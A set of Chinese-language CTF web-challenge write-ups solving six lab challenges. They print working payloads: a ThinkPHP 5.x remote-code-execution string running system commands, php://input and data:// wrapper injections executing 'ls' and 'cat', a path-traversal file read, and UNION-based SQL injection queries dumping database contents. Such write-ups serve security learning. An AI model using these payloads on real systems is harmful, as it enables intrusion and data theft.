难度系数:1.0
题目来源: 暂无
题目描述:想想初始页面是哪个
http://111.198.29.45:45285/1.php
可以看到进入的页面是1.php
,提示为初始页面,尝试访问index.php
:
很快跳转回了1.php
,尝试使用Burpsuite抓取数据包:
Send to Repeater
后将1.php
修改为index.php
:
发送数据包,在Response返回头中得到flag
:
难度系数: 1.0
题目来源: 暂无
题目描述:暂无
启动场景:
提示我们需要检查robots.txt
,访问:xxx/robots.txt
:
可以看到有/fl0g.php
页面,访问得到flag
:
难度系数: 2.0
题目来源: 暂无
题目描述:暂无
启动靶机,打开环境:
提示使用了ThinkPHP 5.0
版本的框架,查找此版本的rce
漏洞:
ThinkPHP5.x rec 漏洞分析与复现
原理参考这篇文章,直接进行payload利用:
?s=index/\think\App/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
原payload执行了dir
命令,及列出当前目录下文件:
执行成功,可以利用该漏洞,将dir
修改为:
=find / -name "flag"
=cat /flag
难度系数: 2.0
题目来源: XTCTF
题目描述:暂无
hello
和page
hello
的内容strstr()
函数php://
在$page
中的第一次出现,并返回字符串的剩余部分str_replace()
函数将变量$page
中的php://
替换为空方法一:
使用大写的方式绕过字符串置换:
?page=PHP://input
system("ls");?>
使用Google Chrome的插件HackBar传递参数:
可以得到四个文件,查看fl4gisisish3r3.php
文件:
system("cat fl4gisisish3r3.php");?>
方法二:
data://
伪协议执行命令:
使用方法:data://text/plain;base64,xxxx(base64编码后的数据)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==
查看源码得到flag
难度系数:2.0
题目来源: HCTF 2018
题目描述:暂无
启动靶机,打开环境:
参考之前的writeup:
BUUCTF [HCTF 2018] WarmUp Web writeup
构造最终payload:
http://111.198.29.45:59255/source.php?file=source.php?../../../../../ffffllllaaaagggg
难度系数: 2.0
题目来源: XCTF 4th-QCTF-2018
题目描述:如题目环境报错,稍等片刻刷新即可
启动环境:
检查其搜索功能的源码:
其为POST
方式传参,尝试SQL注入:
' or '1'='1
' order by 3#
当尝试其字段数为4
时,页面报错:
判断其字段数为3
,查看回显位置:
111' union select 1,2,3#
111' union select 1,database(),version()#
得到当前数据库名为:news
,版本为:5.5.61
,获取所有数据库名:
111' union select 1,2,group_concat(schema_name) from information_schema.schemata#
111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="secret_table"#
111' union select 1,2,group_concat(fl4g) from news.secret_table#